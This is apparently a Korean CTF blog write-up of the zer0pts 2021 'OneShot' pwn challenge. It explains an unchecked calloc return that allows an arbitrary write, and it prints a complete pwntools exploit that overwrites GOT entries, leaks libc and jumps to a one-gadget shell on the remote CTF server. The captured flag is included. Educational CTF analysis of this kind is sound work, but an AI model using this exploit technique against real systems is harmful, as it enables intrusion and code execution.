CTF(Capture The Flag)/zeroptf 2021

OneShot

cyanhe_wh 2021. 3. 12. 13:46
반응형

파일 정보

$ file chall
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), 
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, 
for GNU/Linux 3.2.0, 
BuildID[sha1]=7cf51550bee6566a6972d12ba047bbebef778f7e, not stripped
$ pwn checksec chall
[*] '/home/user/바탕화면/zer0ptf/oneshot/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

코드

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

int main() {
  int *arr = NULL, n = 0, i = 0;

  printf("n = ");
  scanf("%d", &ni);
  if (n >= 0x100)
    exit(1);

  arr = calloc(n, sizeof(int));
  printf("i = ");
  scanf("%d", &i);

  printf("arr[%d] = ", i);
  scanf("%d", &arr[i]);
  puts("Done!");

  return 0;
}

__attribute__((constructor))
void setup() {
  alarm(60);
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
}

풀이

    printf("n = ");
  scanf("%d", &ni);
  if (n >= 0x100)
    exit(1);

  arr = calloc(n, sizeof(int));

calloc이 에러가 났을 경우, 따로 처리하는 조건이나 예외가 없다.

따라서 n을 음수로 줬을 때 arr 값은 0으로 고정된다.

    printf("i = ");
  scanf("%d", &i);

  printf("arr[%d] = ", i);
  scanf("%d", &arr[i]);
  puts("Done!");

arr 값이 0이고 i를 조작하면 원하는 메모리에 값을 쓸 수 있다.

즉, 함수들의 got 주소를 Overwrite 가능하다.

Exploit

  1. puts got을 main 주소를 쓴다.
  2. exit got 을 0x4006ac(mov edi, 0x601060 ; jmp rax) 주소를 쓴다.
  3. 다음 n을 printf ptl 주소를 쓰면, rax에 printf 함수 주소가 들어가
    라이브러리 메모리 릭이 가능하다.
  4. 릭된 주소를 가지고 one shot 주소를 구하고, exit got에 one shot 주소를 쓴다.
  5. exit를 호출하면 exploit에 성공한다.
from pwn import *

main = 0x400737
puts_got = 0x601018
print_plt = 0x400606
exit_got = 0x601048

# get index
puts_index = puts_got // 4
exit_index = exit_got // 4

# p = process('./chall', env={'LD_PRELOAD': './libc.so.6'})
p = remote('pwn.ctf.zer0pts.com', 9004)

def arr_modify(n, i, data):
    if n:
        print(p.sendlineafter('n = ', str(n)))
    print(p.sendlineafter('i = ', str(i)))
    print(p.sendlineafter('] = ', str(data)))

# puts를 main으로 세팅
arr_modify(-1, puts_index, main)
arr_modify(-1, exit_index, 0x4006ac)

# stdout leak
print(p.sendlineafter('n = ', str(print_plt)))
leak = u64(p.recv(6).ljust(8, b'\x00'))
libc_base = leak - 0x1ec6a0
one_shot = libc_base + 0xe6c81

log.info(f'libc: {hex(libc_base)}')
log.info(f'one shot: {hex(one_shot)}')

arr_modify(None, 0, 0)
arr_modify(-1, exit_index, one_shot & 0xffffffff)   # 하위 4byte
arr_modify(-1, exit_index+1, one_shot >> 32)        # 상위 4byte

print(p.sendlineafter('n = ', str(0x1000)))

p.interactive()

Flag

zer0pts{th1s_1s_why_y0u_sh0uld_ch3ck_r3turn_v4lu3_0f_malloc}

반응형

'CTF(Capture The Flag) > zeroptf 2021' 카테고리의 다른 글

safe_vector  (0) 2021.04.07
baby sqli  (0) 2021.03.12
GuestFS:AFR  (0) 2021.03.12
stopwatch  (0) 2021.03.12
Not Beginner's Stack  (0) 2021.03.12